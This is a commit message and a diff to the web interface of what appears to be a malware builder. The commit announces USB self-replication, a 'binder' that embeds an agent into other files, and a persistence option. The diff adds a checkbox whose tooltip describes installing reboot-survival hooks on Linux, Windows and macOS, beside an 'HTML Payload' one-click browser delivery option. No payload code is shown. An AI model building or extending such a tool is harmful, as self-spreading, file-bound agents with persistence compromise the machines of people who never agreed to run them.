v2.2.0: USB self-replication (per-node toggle + 10min dispatcher), binder persistence option, hover terminology tooltips, binder embeds current token-injected agent, README full rewrite

public/index.html

@@ -512,6 +512,13 @@
               <option value="html">HTML Payload (.html) — One-click browser</option>
             </select>
           </div>
+          <div class="form-group" style="margin-top:0.75rem;">
+            <label style="display:flex;align-items:center;gap:0.5rem;cursor:pointer;">
+              <input type="checkbox" id="binderPersist" checked>
+              Ensure persistence after install
+              <span class="nx-term" data-tip="After the agent installs, it also writes a reboot-survival hook (systemd service on Linux, scheduled task on Windows, launchd job on macOS). Turn OFF for one-shot, clean-up-friendly installs.">ⓘ</span>
+            </label>
+          </div>
           <button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
             <i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
           </button>